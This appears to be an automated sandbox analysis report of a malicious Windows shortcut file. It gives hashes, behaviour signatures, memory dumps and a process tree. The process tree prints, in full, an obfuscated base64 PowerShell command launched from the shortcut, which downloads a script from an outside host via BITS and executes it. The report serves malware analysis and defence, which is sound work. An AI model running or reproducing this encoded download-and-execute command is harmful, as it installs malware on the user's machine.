Analysis

  • max time kernel
    143s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-06-2024 06:26

General

  • Target

    a4317e3a086cf54b28ecb4aa1ada356e_JaffaCakes118.lnk

  • Size

    2KB

  • MD5

    a4317e3a086cf54b28ecb4aa1ada356e

  • SHA1

    7cba8664cb14c961f9c198f112846972296ff11d

  • SHA256

    6fc29cd5b03a534c23de07c8312a3455b00b959ddd554567a7f71cab6ba6a1c1

  • SHA512

    3e0a5c94362a350543cc54b4927db2ea0301eee2a5c0cbba6619c66a63bfe6387b3970b6ea13a6f058b0c15d7b2923552daf732806fc6a3ca97618947e5aae0b

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\a4317e3a086cf54b28ecb4aa1ada356e_JaffaCakes118.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:936
    • C:\windows\system32\cmd.exe
      "C:\windows\system32\cmd.exe" /C C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -wi 1 -e KAAnACQAYwAwAD0AIgBTAHQAYQByAHQAIgA7ACQAawAxAD0AIgBCAGkAdABzACIAOwAkAG4AMgA9ACIAVAByAGEAbgBzAGYAZQByACIAOwAkAGEAMwA9ACIAUAByAG8AYwBlAHMAcwAiADsAJwB8AEkARQBYACkAOwAoACIASQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgACQAawAxACQAbgAyADsAJABjADAAJwAtACcAJABrADEAJABuADIAIABoAHQAdABwAHMAOgAvAC8AMQA1ADkAMQA1ADIAMwA3ADUAMwAuAHIAcwBjAC4AYwBkAG4ANwA3AC4AbwByAGcALwBhAC8APwBhAEgAUgAwAGMASABNADYATAB5ADgAeABOAFQAawB4AE4AVABJAHoATgB6AFUAegBMAG4ASgB6AFkAeQA1AGoAWgBHADQAMwBOAHkANQB2AGMAbQBkADgAYQAwAGQAQgBWAHcAJQAzAEQAJQAzAEQAIAB5AGYAZwBvAGQAZQBrAGIAbQBwAGkAcQBzAG8AaQBuAC4AdwBzAGYAOwAkAGMAMAAnAC0AJwAkAGEAMwAgAHkAZgBnAG8AZABlAGsAYgBtAHAAaQBxAHMAbwBpAG4ALgB3AHMAZgAiAHwASQBFAFgAKQA=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1956
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -wi 1 -e KAAnACQAYwAwAD0AIgBTAHQAYQByAHQAIgA7ACQAawAxAD0AIgBCAGkAdABzACIAOwAkAG4AMgA9ACIAVAByAGEAbgBzAGYAZQByACIAOwAkAGEAMwA9ACIAUAByAG8AYwBlAHMAcwAiADsAJwB8AEkARQBYACkAOwAoACIASQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgACQAawAxACQAbgAyADsAJABjADAAJwAtACcAJABrADEAJABuADIAIABoAHQAdABwAHMAOgAvAC8AMQA1ADkAMQA1ADIAMwA3ADUAMwAuAHIAcwBjAC4AYwBkAG4ANwA3AC4AbwByAGcALwBhAC8APwBhAEgAUgAwAGMASABNADYATAB5ADgAeABOAFQAawB4AE4AVABJAHoATgB6AFUAegBMAG4ASgB6AFkAeQA1AGoAWgBHADQAMwBOAHkANQB2AGMAbQBkADgAYQAwAGQAQgBWAHcAJQAzAEQAJQAzAEQAIAB5AGYAZwBvAGQAZQBrAGIAbQBwAGkAcQBzAG8AaQBuAC4AdwBzAGYAOwAkAGMAMAAnAC0AJwAkAGEAMwAgAHkAZgBnAG8AZABlAGsAYgBtAHAAaQBxAHMAbwBpAG4ALgB3AHMAZgAiAHwASQBFAFgAKQA=
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1164
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4164,i,13281073920029625837,8253721632651544158,262144 --variations-seed-version --mojo-platform-channel-handle=4028 /prefetch:8
    1⤵
      PID:4572

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lhkllqwn.ala.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1164-0-0x00007FFE86713000-0x00007FFE86715000-memory.dmp

      Filesize

      8KB

    • memory/1164-1-0x0000026F5C4A0000-0x0000026F5C4C2000-memory.dmp

      Filesize

      136KB

    • memory/1164-11-0x00007FFE86710000-0x00007FFE871D1000-memory.dmp

      Filesize

      10.8MB

    • memory/1164-12-0x00007FFE86710000-0x00007FFE871D1000-memory.dmp

      Filesize

      10.8MB

    • memory/1164-13-0x00007FFE86710000-0x00007FFE871D1000-memory.dmp

      Filesize

      10.8MB

    • memory/1164-14-0x0000026F5C5F0000-0x0000026F5C616000-memory.dmp

      Filesize

      152KB

    • memory/1164-15-0x0000026F5C650000-0x0000026F5C664000-memory.dmp

      Filesize

      80KB

    • memory/1164-16-0x00007FFE86710000-0x00007FFE871D1000-memory.dmp

      Filesize

      10.8MB

    • memory/1164-17-0x00007FFE86713000-0x00007FFE86715000-memory.dmp

      Filesize

      8KB

    • memory/1164-18-0x00007FFE86710000-0x00007FFE871D1000-memory.dmp

      Filesize

      10.8MB

    • memory/1164-21-0x00007FFE86710000-0x00007FFE871D1000-memory.dmp

      Filesize

      10.8MB